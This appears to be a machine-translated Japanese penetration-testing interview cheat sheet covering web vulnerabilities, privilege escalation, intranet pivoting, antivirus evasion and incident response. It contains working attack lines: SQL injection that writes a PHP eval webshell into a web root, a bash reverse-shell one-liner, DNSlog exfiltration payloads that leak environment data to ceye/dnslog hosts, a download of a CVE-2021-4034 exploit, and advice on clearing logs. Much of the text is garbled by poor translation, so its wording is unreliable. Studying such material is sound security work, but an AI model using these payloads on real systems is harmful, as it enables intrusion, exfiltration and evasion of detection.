侵入テストのポジションについて何度もインタビューを行いました, 編集したインタビューの質問は変更され、変更されました. これは私の最終バージョンです, 完全に乾燥した, 忘れずに保存してください.
目次
侵入テストのプロセス
最初に書面による許可を得てください。 (1) 情報収集 1. ドメイン名のwhois情報の取得、登録者のメール名、電話番号等の取得 2. サーバーサイドステーションとサブドメインサイトにクエリを送信します。メインステーションは一般的に難しいため、最初にサイドステーションに共通の cms または他の抜け穴があるかどうかを確認します。 3. サーバーのオペレーティング システムのバージョン、Web ミドルウェアを確認し、IIS、APACHE、NGINX 解析 の脆弱性 mysql-3306、ftp-21、ssh-22などの既知の脆弱性があるかどうかを確認します。 5. Web サイトのディレクトリ構造をスキャンして、ディレクトリをトラバースできるかどうか、または機密ファイルが漏洩していないかどうかを確認します。dirb、ffuf ツールを使用して、ターゲット Web サイトのディレクトリをスキャンできます。 6. ウェブサイトの情報、背景、機密ファイルをさらに検出するための Google ハック。 7. Web サイトの構造を検出できます - js バージョン、cms タイプ、ミドルウェア情報など、Web サイトのプラグイン情報を取得します。Firefox プラグイン wappalyzer、CMS フィンガープリント、データ パケットの応答ヘッダーの表示など。 8. 資産収集ツール - ビーコン システム、OneForAll-master。 (2) 脆弱性スキャンが脆弱性の検出を開始します。脆弱性スキャン ツール (awvs、nessus、appscan、xray) を使用できます。同時に、SQL インジェクション、xss クロスサイト スクリプティング、csrf クロスサイト リクエスト フォージェリ、xxe 脆弱性、ssrf サーバー リクエスト フォージェリ、ファイル インクルード、ファイル アップロード、ファイル解析、リモート コード実行の脆弱性、不正アクセスの脆弱性、デシリアライズの脆弱性など (3) Webshell を取得するために、いくつかの方法で脆弱性を悪用することができます。例: SQL インジェクション-sqlmap、XSS クロスサイト スクリプティング-Beef-XSS、パケット キャプチャ ツール-brup、ファイル アップロードの脆弱性-一文トロイの木馬 (4) 権限のエスカレーション webshell を取得した後、一般的な権限は非常に低いため、権限をエスカレートする必要があります。1. mysql 権限昇格 2. Windows オーバーフロー権限昇格 3. Linux ダーティ カウ、カーネル脆弱性権限昇格 (CVE-2016-5195) (cve-2021-4034)。 (5) ログのクリーニング (6) 概要レポートと修復計画
ビジネス ロジックの脆弱性
1. 紫外線の脆弱性 レベル 紫外線: 通常、get または post パラメーターを変更して、通常は注文場所または個人情報の場所で、他の人のビジネス情報を表示します。例: 2 つのアカウントの場合、アカウント 1 の get または post パラメーターを変更して、アカウント 2 の情報を表示します。 垂直オーバーライド: 2 つのアカウント (1 つは共通、もう 1 つは管理者) がパケットをキャプチャして管理者のパラメーターを変更します。許可の種類は変更されず、許可 ID は変更され、通常のアカウントは管理者と同じ許可を取得します。 2. パスワードの取得 攻撃者は、任意のユーザーのパスワードをリセットするという目的を達成するために、データ パケットをローカルで取得してその内容を分析することにより、他のユーザーのユーザー資格情報を取得できます。 通常、パスワード取得機能モジュールは、ユーザーの資格情報 (通常は確認コードまたはリンク) を、ユーザーが登録に使用する携帯電話番号または電子メール アドレスに送信します. ユーザーがユーザーの資格情報を開示しない限り、悪用されることはありません.攻撃者によって。ただし、一部の情報システムでは、パスワード取得機能の設計に論理的な欠陥があり、ユーザーの自己識別情報に使用されるユーザー資格情報をさまざまな方法でクライアントに返す場合があります。 防御: 1. トークン検証などのデータをユーザー データ パッケージに直接返さないでください。2. バックエンドにユーザー認証を実装する必要があります。 3. 支払いロジック の脆弱性 サーバーは、クライアントの要求データに含まれる金額や数量などの機密情報を検証しません. 攻撃者は、bp を使用してパケットをキャプチャし、金額を変更して商品を購入したり、アカウントにチャージしたりします. 防御: 1. 要求データ内の金額や数量などの機密情報を暗号化し、サーバー側で検証します。2. リプレイ攻撃を防ぐために、支払いトランザクション要求データにトークンを追加します。 4. 検証コードに関連する脆弱性 検証コードのブルート フォース クラッキング: 検証コードには一定の規則性があり、検証コードは網羅的またはその他の方法で推測できます。 検証コードの再利用: サーバーがリクエストを受け入れた後、最後に保存されたセッションが時間内にクリアされない場合、検証コードが再利用されます。 検証コードのバイパス: システムは検証コードとユーザーを検証要求に含めないため、最初の検証コード検証がバイパスされ、パスワード ブラストが実行される可能性があります。 5. いいねやチェックイン場所などのリプレイ攻撃の脆弱性。 サーバーは、IP アドレスに基づいて現在のユーザーがいいねしたかどうかを識別し、X-Forwarded-For の行をデータ パケットに追加して、http クライアント ip を偽造します。 , and use bp to capture the packet Then send it to intruder to traverse the IP, and set payload to attack. 複数のリプレイの後、複数のサインインにつながる可能性があります。 防御: 1. トークン値を追加します。 2. タイムスタンプを追加します。
掘られた抜け穴
Horizontal Override Vertical Override 支払いの脆弱性 リプレイ攻撃 脆弱なパスワード 任意のファイルアップロード
SQL インジェクション
はじめ に 主な理由は、プログラマーが、ユーザーとデータベースの相互作用のためのシステムを開発する際に、ユーザーが入力した文字列をフィルタリング、エスケープ、制限、または処理しなかったため、ユーザーは慎重に作成された文字列を入力することでデータベースのデータを不正に取得できるようになったためです。 分類: 1. 時間ベースのブラインド インジェクション (遅延ステートメントが実行されるかどうかを確認する) 2. ブール ベースのブラインド インジェクション (返されたページに応じて条件が真か偽かを判断する) 3. エラー インジェクションに基づく (ページが実行される)エラー情報を返す) 4. デジタル インジェクションに基づく (ジョイント クエリ インジェクション、ヒープ クエリ インジェクション、ワイド バイト インジェクションに分けられる) 防御 : 1. プリコンパイルされたステートメントを使用し、変数をバインドする 2. 特殊なシンボルをフィルター処理する 3. データ型と形式を確認する変数 4. ホワイトリストを使用して正規化する 入力検証方法 1. データベース名を取得 する select SCHEMA_NAME from information_schema.SCHEMATA 2. テーブル名を取得 する select TABLE_NAME from information_schema.TABLES 3. フィールド名を取得 する select * from information_schema.COLUMNS where TABLE_NAME="users"および TABLE_SCHEMA="security" 4 .ユーザーからデータ 選択 ID、ユーザー名、パスワードを取得する バイパス waf 7. 大文字小文字の置き換え 8. キーワードの置き換え 9. エンコード: 16 進エンコード、Unicode エンコード 10. コメントの挿入 11. 特殊記号 12. バッファー オーバーフロー。 SQL インジェクション プロセス: エコーがあるかどうかを判断します。エコーがある場合は、共同クエリを試行します。エコーがない場合は、データベース エラー メッセージがあるかどうかを確認します。エラー メッセージがある場合は、エラー インジェクションを試すことができます。 . エコーなし、エラー メッセージなし、ブラインド インジェクション (時間とブール値) sqlmap を試す、インジェクション ポイントにインジェクションする方法 1) get モデルの場合は直接、sqlmap -u "ドット web アドレスなど" 2) ドットなどの投稿タイプの場合は sqlmap -u "注入ドット web アドレス" --data=" post parameter" 3) cookie、X-Forwarded-For などの場合、アクセスできる場合は burpsuite を使用してパケットをキャプチャし、注入場所を * に置き換え、ファイルに入れ、次に sqlmap - r "ファイルアドレス " エラー 注入関数: 1.updatexml()関数 2.extractvalue()関数 3.floor()関数 ブラインド 注入とディレイド注入の共通点? どちらも文字単位の判断 SQL 文が書かれているwebshell へ 1. 共同クエリ: outfile 実装への SQL インジェクションによる選択。 1' union select 1,"<?php @eval($_GET['cmd'])?>" into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php' - - 2. ブラインド アノテーションまたはエラー レポート: 区切り文字を介して記述し、ステートメントで終了する行でつなぎ、次の webshell コンテンツでつなぎ合わせることができます。 1' を出力ファイル 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\321.php' に '<?php phpinfo(); ?>' で終了する行 --
クロスサイト スクリプティング攻撃 XSS
はじめに: 攻撃者は、XSS 脆弱性を持つ Web サイトに悪意のある HTML コードを入力し、他のユーザーが Web サイトを閲覧すると、この HTML コードが自動的に実行され、攻撃の目的を達成します。 分類: Reflected (non-persistent) XSS, stored (persistent) XSS, DOM-based XSS. 違い: DOM XSS と Reflected XSS と stored XSS の違いは、DOM XSS のコードは、XSS をトリガーするためにサーバーの参加を必要としないことです。ブラウザ側での DOM 解析に依存しており、これは完全にクライアント側の問題です。 防御: 1. XSS フィルター、つまりクロスサイト スクリプティング フィルターを使用して、ユーザーから送信された入力を分析し、スクリプト攻撃の可能性と、悪意のある THML または単純な HTML 形式のエラーをフィルター処理します。 2. 入力フィルタリング 入力に有効な文字のみが含まれている かどうか、入力文字列が最大長の制限を超えているかどうか、 入力が数値の場合、数値が指定された範囲内にある かどうか、入力が E- などの特別な形式要件を満たしているかどうか3. < (小なり記号) を < > (大なり記号) に > & (および記号) を & " (二重引用符) に " ' (一重引用符) に エンコードして出力します。引用符) を ' ; 4. ブラックリストとホワイトリスト 5. コンテンツ セキュリティ ポリシー (csp): CSP は、ブラウザがページを表示するのを制限して、信頼できるソースからダウンロードしたリソースのみを使用できるようにするために使用されます。
CSRF クロスサイト リクエスト フォージェリ
原則 Web サイトの Cookie は、ブラウザーが閉じられていないかログアウトされていない限り、ブラウザーで期限切れになりません。この期間中、攻撃者は構築された csrf スクリプトまたは csrf スクリプトを含むリンクを送信し、いくつかのことを実行する可能性があります。ユーザーがやりたくない機能 (アカウントの追加など)。 防御 1. HTTP リファラー フィールドを確認します 2. リクエスト アドレスにトークンを追加して確認し ます 3. HTTP ヘッダーの属性をカスタマイズして確認します
SSRF サーバー側のリクエスト フォージェリ
理由 サーバーは、対象アドレスをフィルタリングおよび制限することなく、他のサーバー アプリケーションからデータを取得する機能を提供します。 防御 1. プロトコルの制限: http および https 要求のみが許可されます。 2. IP を制限する: アプリケーションがイントラネット データの取得やイントラネットへの攻撃に使用されるのを防ぎます。 3. ポートの制限: 要求されたポートを、http で一般的に使用されるポート (80、443、8080、8090 など) に制限します。 4. 返された情報をフィルタリングします。これは、リクエストに対するリモート サーバーのレスポンスを確認するための比較的簡単な方法です。 統一されたエラー情報: ユーザーは、エラー情報に従って、リモート サーバーのポート ステータスを判断できます。 echo がある場合は 、ページからターゲット アセットを直接読み込みます。まず、http://www.baidu.com ページを読み込んで ssrf があることを確認します。成功した場合は、Baidu をイントラネットにさらに置き換えることができます。 IP を取得し、ファズを通じてイントラネット資産をスキャンします。 応答なし 1. 最初に dnslog プラットフォームと協力して、dnslog プラットフォームがサーバーのアクセス レコードを取得できるかどうかをテストします. 対応するレコードがない場合は、サーバーがネットワークに接続されていないことが原因である可能性があります.リクエストの応答時間からイントラネット資産が存在するかどうかを判断し、イントラネット資産の脆弱性 (redis や一般的な RCE 対応の Web フレームワークなど) を使用して、脆弱性の有効性を証明できます。 "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..." "... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\aa"> .. ." 2. burp のコラボレーターを使って試す 3. Apache サービスを開き、ssrf が存在する http://10.1.1.200 (ローカル サービス アドレス) にアクセスし、サーバー ログ情報を確認し、ログを開いてアクセスされているかどうかを確認し、ssrf の脆弱性があるかどうかを判断します。
ファイルのアップロード
ファイルアップロードの脆弱性とは、ファイルアップロード機能がアップロードされたファイルを合理的かつ厳密にフィルタリングしないため、ユーザーがこの機能を使用して、サーバーによって解析および実行できるファイルをアップロードし、サーバーコマンドを実行する機能を取得できるという事実を指します。 1. サイトが保護されておらず、アップロード ポイントがセキュリティ検証を受けていない場合、 WebShellファイル が直接アップロードされる可能性があります。 2. サイトの保護は単純です。 フロントエンドがファイル サフィックスを検証するとき、最初に許可されたファイル タイプを渡し、次にパッケージをキャプチャしてファイル サフィックスを変更できます。 MIME 検証中に、パケットをキャプチャするときに MIME タイプを許可するように Conten-Type を変更します。 3. CMS などの一般的な任意のファイル アップロードの脆弱性: ブラック リストとホワイト リストのバイパス、ファイル コンテンツ検出のバイパス、CMS ファイル アップロードの脆弱性の バイパス waf 1. データ オーバーフロー 2. データ ステージ: %00 の切り捨て 3. 二重引用符を削除して バイパスname suffix case bypassファイルアップロード の includeとrequire の 違い .php '; //file.phpは導入しない Requireは無条件包含関数 require 'file.php'; //file.phpを導入する 3.ファイル参照メソッド Includeには戻り値があります Require には戻り値がありません
ファイルの解析
Apache 解析の脆弱性: サフィックス解析 Nginx 解析の脆弱性: 不正な形式の解析の脆弱性、ヌル バイト コード実行の脆弱性 IIS 6.0 解析の脆弱性: ディレクトリ解析、サフィックス解析
ファイルが含まれています
サーバーが allow_url_include オプションを有効にすると、いくつかの php 機能関数 (include()、require() および include_once()、require_once()) を介して動的にファイルを含めるために url を使用できます。厳密にレビューされていないため、任意のファイルの読み取りまたは任意のコマンドの実行が行われます。 分類: include と require のローカル インクルードとリモート インクルードの違い は、インクルード プロセスでエラーが発生した場合は警告がスローされ、プログラムは正常に実行され続けることと、require 関数でエラーが発生した場合は、エラーは直接報告され、プログラムは終了します。 関数を含むファイルによって読み込まれるパラメーターは、フィルター処理されていないか、厳密に定義されていないため、ユーザーによって制御され、他の悪意のあるファイルが含まれており、意図しないコードの実行につながります。
XXE is xml 外部エンティティ インジェクションの脆弱性
原則 XXE 脆弱性は、アプリケーションが XML 入力を解析し、外部エンティティの読み込みを禁止しない場合に発生します。その結果、悪意のある外部ファイルが読み込まれ、ファイルの読み取り、コマンドの実行、イントラネット ポート スキャン、イントラネット Web サイトへの攻撃、Dos 攻撃の開始が引き起こされます。およびその他の危険。xxe 脆弱性のトリガー ポイントは、多くの場合、xml ファイルをアップロードできる場所であり、アップロードされた xml ファイルがフィルタリングされていないため、悪意のある xml ファイルがアップロードされます。 防御 1. 開発言語によって提供されるメソッドを使用して、外部エンティティを無効にします。 2. PHP: libxml_disable_entity_loader(true); 2. ユーザーが送信した XML データをフィルタリングします キーワード: <!DOCTYPE と <!ENTITY、または SYSTEM と PUBLIC。
XSSとCSRFの違い
XSS はログインを必要としない、CSRF はユーザーのログイン情報を必要とする XSS はクライアントを攻撃する、CSRF はサーバーにアクセスする XSS はユーザー情報をハイジャックする、CSRF はユーザー ID を偽って通常の Web サイトにアクセスする
CSRFとSSRFの違い
(1) CSRF はクライアントによって開始されるクロスサイト リクエスト フォージェリ攻撃です (2) SSRF はサーバーによって開始されるサーバー側のリクエスト フォージェリ攻撃です
CSRF と XSS および XXE の違い
(1) XSS はクロスサイトスクリプティング攻撃であり、利用者が提出したデータにコードを構築・実行することで、利用者情報を盗むなどの攻撃を実現します。 修復方法: 文字エンティティをエスケープする、HTTP のみを使用して JavaScript が Cookie 値を読み取らないようにする、入力時に検証する、ブラウザと Web アプリケーション側で同じ文字エンコーディングを使用する。 (2) CSRF はクロスサイト リクエスト フォージェリ攻撃であり、XSS は、ユーザーが自発的にキー操作の実行を開始したかどうかの確認がないため、CSRF を実現するための多くの手段の 1 つです。 修復方法: CSRF から保護する必要があるページをフィルターで除外し、Token を埋め込み、再度パスワードを入力し、Referer を確認します (3) XXE は XML 外部エンティティ インジェクション攻撃です. XML では、ローカルまたはリモートを要求できますこれは、リモート ファイル保護と同様に、エンティティを呼び出してコンテンツを保護します。機密ファイルの読み取りなど、関連するセキュリティ上の問題が発生します。 修正: XML 解析ライブラリは、呼び出されたときに外部エンティティの解析を厳密に禁止します。
ミドルウェアの脆弱性
IIS: IIS6.0 PUTの 脆弱性IIS6.0 の リモート コード 実行の 脆弱性IIS6.0 の 解析の 脆弱性 Nginx: 解析の脆弱性、構成エラーによるディレクトリ トラバーサル
PHP コードの監査は問題を起こしやすい
1. パラメーター スプライシングの方法によって SQL インジェクションが発生する可能性があります (旧式) 2. グローバル変数の登録による変数のカバレッジ 3. フィルター処理されていない fwrite パラメーターによるコードの実行 4. 権限検証の省略によるバックグラウンド関数アクセス 5. ファイルのアップロードインターフェイス 6 で、デシリアライゼーションの脆弱性をアンシリアライズします
GET と POST の違い
1. get はデータを取得することです。 投稿はデータを変更することです。 2. get は要求されたデータを url に置き、URL を ? で区切ってデータを送信し、パラメータを & で接続するため、get はあまり安全ではありません。 post は、データを HTTP リクエストの本文に入れます。 3. get によって送信される最大データは 2k です (制限は実際にはブラウザーによって異なります)。 投稿は理論的に無制限です。 4. GET は TCP パケットを生成し、ブラウザは http ヘッダーとデータを一緒に送信し、サーバーは 200 (戻りデータ) で応答します。 POST は 2 つの TCP パケットを生成します。ブラウザは最初にヘッダーを送信し、サーバーは 100 continue で応答し、ブラウザはデータを再度送信し、サーバーは 200 ok (データを返す) で応答します。 5. GET リクエストはブラウザによってアクティブにキャッシュされます。 手動で設定しない限り、POST は行われません。
クッキーとセッションの違い
1. 保存場所が異なり、 cookie:クライアント側に保存、 session:サーバー側に保存されます。 The data stored in the session is比較的安全 2, and the stored data types are different. どちらもキーと値の構造ですが 、値の型には異なる Cookie の種類があります: 値は文字列型のみ、セッション: 値はオブジェクト タイプ 3, 保存されたデータのサイズは、さまざまな Cookie によって制限されます: サイズはブラウザによって制限されます, その多くはサイズが 4K です. セッション: 理論的には現在のメモリによって制限されます
ウェブシェルの検出方法
grep、キーワード、キー機能、セキュリティ ドッグ、D シールド。
リバウンド シェルの共通コマンド
1. bash バウンス シェル Nc を使用して監視を開始し、bash を使用してシェルをバウンスします bash -i >& /dev/tcp/IP/port 0>&1 2.Msf バウンス シェル Msf は php トロイの木馬を作成し、ハンドラー モジュールを使用して開始します監視し、シェルをバウンスします。
イントラネット浸透
アイデア: 外部ネットワーク サーバーを攻撃し、外部ネットワーク サーバーの権限を取得し、成功した外部ネットワーク サーバーを踏み台として使用し、内部ネットワーク上の他のサーバーを攻撃し、最終的に機密データを取得し ます 。環境構築 2. 情報収集 3. エクスプロイトでwebshellを入手。 4. webshell を介して meterpreter を取得し、権限をエスカレートします。バックドア プログラムを生成し、監視を実行し、トロイの木馬をアップロードして実行し、権限をエスカレートします。 5. meterpreter を介してイントラネット情報を収集します: Ifconfig view ip Route view route Arp view arp list sysinfo view target system information; Getwd view meterpreter directory Getpid view meterpreter process number run get_local_subnets 現在のホスト ネットワーク セグメントとマスクを表示します。 6. 収集したイントラネット情報をもとに横侵入を実施。 プロキシサーバーとして権限を取得したサーバーを踏み台に構成し、水平展開してルーティングゲートウェイを設置し、metasploitの組み込みモジュールを利用して対象サーバーの情報を収集・検知します。 7.トレースクリーニング。 多層イントラネット侵入の原則: 侵入マシン win10+kali 第 1 層ターゲット マシン (外部ネットワーク Web サーバー) 第 2 層ターゲット マシン (イントラネット Web サーバー) 第 3 層ターゲット マシン (イントラネット オフィス マシン) win7 アップロード msf 第 1 層へのアップロードホスト 第 1 層のホストのメータープリッターは、第 2 層のネットワーク ルートを追加し、プロキシが第 2 層のネットワークを構成できるようにします。第 2 層のホストの meterpreter を使用して第 3 層のネットワーク ルーティングを追加し、プロキシを使用してネットワークを構成し、ポート (lcx、ew、socks) を設定します。
権利のエスカレーション
Linux 権限昇格 カーネルの脆弱性 権限昇格 (cve-2016-5195) カーネル バージョンを確認する uname -a ダウンロード、コンパイル、および exp ファイルを生成する 実行 バージョンが高すぎる: 現在主流の Linux バージョンが影響を受ける Cve-2021-4034、wget https を使用:/ /github.com/berdav/CVE-2021-4034ファイルを tmp ファイルにダウンロードし、make を実行して root 権限を取得 Suid 権限昇格: 通常のユーザーは root パスワードを知らなくても root 権限の操作を実行できます。当事者ソフトウェアの権利エスカレーション
殺害を避ける
フリー キルはアンチ ウィルス テクノロジーであり、ウィルス スキャン ソフトウェアによってキルされることはありません。 人気のないシェルを追加する シェルを追加してシェルを 変更する 花の命令を 追加する 殺害を回避する効果を得るためにいくつかの命令、つまり花の命令を追加することにより、原則は機能コードの変更に似ています。たとえば、ウイルス対策ソフトウェアは当初、0x00001000 ~ 0x00005000 で署名を探していました。しかし、花の指示を入力したため、悪意のあるコードは 0x00008000 の位置まで実行され、署名の検出と殺害の失敗につながり、殺害を回避するという目的を達成することができました。 署名コードを変更する方法: ほとんどのウイルス対策ソフトウェアは、署名コードに基づいて検出および停止します。方法: myccl ツールを使用して、複合署名を見つけて特定します。
緊急対応
1. 準備段階: 準備段階 で主に行うことは、資産の範囲を明確にし、セキュリティ上の問題を引き起こす可能性のある領域を強化することです。 2. 検出段階: 日常的な監視、システム情報ログの収集などを通じて、疑わしい兆候を分析および判断し、ネットワーク セキュリティの緊急対応時間に属すると判断された場合は、イベントを報告します (netstat -ano を使用して表示できます)。ポート接続必要に応じて、tasklist | find "PID" を使用して特定のプロセスを見つけることもできます.システム ログは WIN+R で、eventvw.msc を入力し、イベント ビューアーに直接入力してログを分析することができます) 3. 抑制段階: 影響の範囲を分析し、計画に従って対応する対策を講じ、攻撃の範囲を制限し、隔離エリアを設定し、影響を最小限に抑えます (コンピューター全体が完全に危険にさらされている場合は、隔離のためにセキュリティ ソフトウェアを使用できます)。 、最初にネットワークを切断することを検討することもできます) 4. 根絶段階: セキュリティ インシデントの原因を分析します。侵入検知によって検出でき、一部のツールを使用してウイルスの 特徴をスキャン、分析、特定することもできます . 損傷したシステムと情報を復元および復元し、信頼できるバックアップからシステム構成、データベースなどを復元および復元し、それらを監視します.エラーがなければ、隔離などの対策を適切に解除できるようリアルタイムで確認します。 6. 要約段階: 上記で発生したセキュリティ インシデントの要約を作成し、使用した効果的な手段と方法を記録し、後で遭遇する可能性のあるセキュリティ インシデントの例を挙げます。
逆シリアル化
PHP デシリアライゼーションの脆弱性は、PHP オブジェクト インジェクションとも呼ばれます。PHP でのシリアル化と逆シリアル化は、基本的に serialize() と unserialize() の 2 つの関数を中心に展開します。 シリアル化はオブジェクトを送信可能な文字列に変換することであり、逆シリアル化はその逆のプロセスです.phpの逆シリアル化には魔法の関数があり、これらの関数はシリアル化操作が実行されると自動的に実行されます. 逆シリアル化の研究では加硫のプロセスで、いくつかの魔法の機能に遭遇した場合、それらに集中する必要があります。 construct() オブジェクトが作成されるときに呼び出されます destruct() オブジェクトが破棄されるときに呼び出されます toString() オブジェクトが文字列として扱われるときに使用されます sleep() オブジェクトがシリアライズされる前に実行され ます サーバーがデシリアライズされた文字列を受け取り、その中の変数をフィルタリングせずにこれらの魔法のメソッドに直接入れることができる場合、重大な脆弱性を引き起こすのは簡単です.
トレーサビリティ
攻撃者が残した情報から逆検索を行い、攻撃者の名前、携帯電話番号、ID 番号を突き止めます。 1. 攻撃元のキャプチャ セキュリティ デバイスのアラーム: スキャン IP、脅威のブロック、ウイルス トロイの木馬など。 ログとトラフィック分析: 異常な通信トラフィック、攻撃元と攻撃対象。 異常なサーバー リソース、異常なファイル、アカウント、プロセス、サービスなど。 フィッシング メール: 悪意のあるファイルのサンプル、フィッシング Web サイトの URL などを 取得します。 2. ソース追跡と対策 IP 測位技術: IP に基づいて物理アドレスを特定 - プロキシ IP ウェブサイトの URL: ドメイン名 whois クエリ - 登録者の名前、住所、電話番号、メール ケース 1: メール フィッシング攻撃 ソース追跡 攻撃と防御のシナリオ: 攻撃者通常のメールを偽造し、メール ゲートウェイをバイパスして、メールをターゲットのメールボックスに配信し、ユーザーをだましてメール リンクをクリックさせます。 情報収集: 電子メールの原文を表示することにより、送信者の IP アドレス、ドメイン名サフィックスの電子メール、フィッシング Web サイトまたは悪意のある添付ファイルのサンプルおよびその他の情報を取得します。 トレーサビリティの方法: 関連付けられたドメイン名/IP を介して追跡できる 1 つ目、2 つ目は、フィッシング Web サイトに逆侵入して権限を取得し、さらに攻撃者の情報を収集すること、3 つ目は、電子メールの悪意のある添付ファイルを分析することによって、脅威インテリジェンス データ プラットフォームを使用して同種のサンプルを見つけて情報を取得することで、攻撃者の概要をさらに詳しく説明することもできます。 ケース 2: ハニーポット ソース トレース 攻撃と防御のシナリオ: 企業イントラネットにハニーポットを展開して、さまざまな一般的なアプリケーション サービスをシミュレートし、攻撃者に攻撃を誘導します。 トレーサビリティ方式: 攻撃者がハニーポットに侵入すると、ハニーポットは攻撃者の侵入行動を記録し、攻撃者のホスト情報、ブラウザー情報、さらには実際の IP およびソーシャル情報を取得できます。
オワスプトップ10
1. アクセス制御の破綻 2. 暗号化メカニズムの破綻 3. インジェクション 4. 安全でない設計 5. セキュリティの設定ミス 6. 組み込みの欠陥と古いコンポーネント 7. 識別と認証のエラー 8. ソフトウェアとデータの整合性の失敗 9. セキュリティ ログと監視の失敗 10.サーバーリクエストフォージェリ
ドメイン浸透
概念: 集中管理のために、ネットワーク内の複数のコンピューターを論理的にまとめます. この論理環境は、ワークグループとは異なり、ドメインと呼ばれます . ドメイン侵入の考え方: ドメイン メンバー ホストを通じて、ドメイン コントローラー IP とドメイン管理者アカウントを見つけます、ドメインメンバーホストを踏み台にして侵入範囲を拡大し、ドメイン管理者がドメイン内の任意のメンバーホストにログインできる機能を使用し、ドメイン管理者がログインしたホストIPを見つけて、試してみてくださいドメイン メンバー ホストのメモリからドメイン管理者パスワードをダンプし、ドメイン コントローラを停止してイントラネット全体に侵入します。 一般的なコマンド: ドメイン コントローラーの IP を取得する: dsquery サーバー ドメイン コントローラー のホスト名を取得する: net group "domain controllers" /domain ドメイン管理ユーザーのクエリ: net group "domain admins" /domain すべてのドメイン ユーザーを表示する: net user /ドメイン
ログイン インターフェイス テストのアイデア
ログイン インターフェイスでパケットをキャプチャし、送信されたパケットと応答パケットを表示します。 1. -cookie 属性にセキュリティ上の脆弱性がないかどうかを確認します。setcookie に httponly があるかどうかを確認します。 HttpOnly は Cookie の属性であり、クライアント スクリプトが document.cookie 属性を介して Cookie にアクセスするのを防ぐために使用されます。これは、クロスサイト スクリプティング攻撃によって Cookie が盗まれたり改ざんされたりするのを防ぐのに役立ちます。 2. Missing-response ヘッダーの脆弱性がないかどうかを確認します。X-Content-Type-Options、HTTP Content-Security-Policy、Click Hijacking: X-Frame-Options 3. -cors の脆弱性を確認します。 4. 機密情報の平文での送信に脆弱性があるかどうかを確認します。 5.存在するかどうかを確認します-安全でないhttpメソッドを有効にします。応答の allow ヘッダー情報を表示し、allow ヘッダーに delete や put などのオプションを見つけます。 6. アカウントのパスワードを爆破して、脆弱なパスワードがあるかどうかをテストします。 7. 検証コードに関連する脆弱性 検証コードのブルート フォース クラッキング: 検証コードには一定の規則性があり、検証コードは網羅的またはその他の方法で推測されます。 検証コードの再利用: サーバーがリクエストを受け入れた後、最後に保存されたセッションが時間内にクリアされない場合、検証コードが再利用されます。 検証コードのバイパス: システムは検証コードとユーザーを検証要求に含めないため、最初の検証コード検証がバイパスされ、パスワード ブラストが実行される可能性があります。 8. テスト - SMS ブラスト。テキスト メッセージを複数回送信できるかどうかを確認します。 9. -host ヘッダー攻撃の脆弱性があるかどうかをテストします。ホストをbaidu.comに変更し、パケットを送信して、応答パケットのURLがbaidu.comであるかどうかを確認します
DNSログの使用
DNSlogはDNSサーバーに保存されているドメイン名情報です.ログファイルと同様にwww.baidu.comなどのドメイン名へのユーザーのアクセス情報を記録します. 通常は1.SQL ブラインドノート 2. エコーなしのXSSで使用されます. 3. エコーなし http://ceye.io/records/dns http://www.dnslog.cn/ URL 4. エコーなしの SSRF タッチ タイピング "<script src=http://XSS.XXXXX. ceye .io></script>" <ImG src=http://xss.9e5ehg.dnslog.cn> 2.SSRF "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> . ..」 3. コマンドは 「ping %PATH%.pxxx.ceye.io ...」を実行します。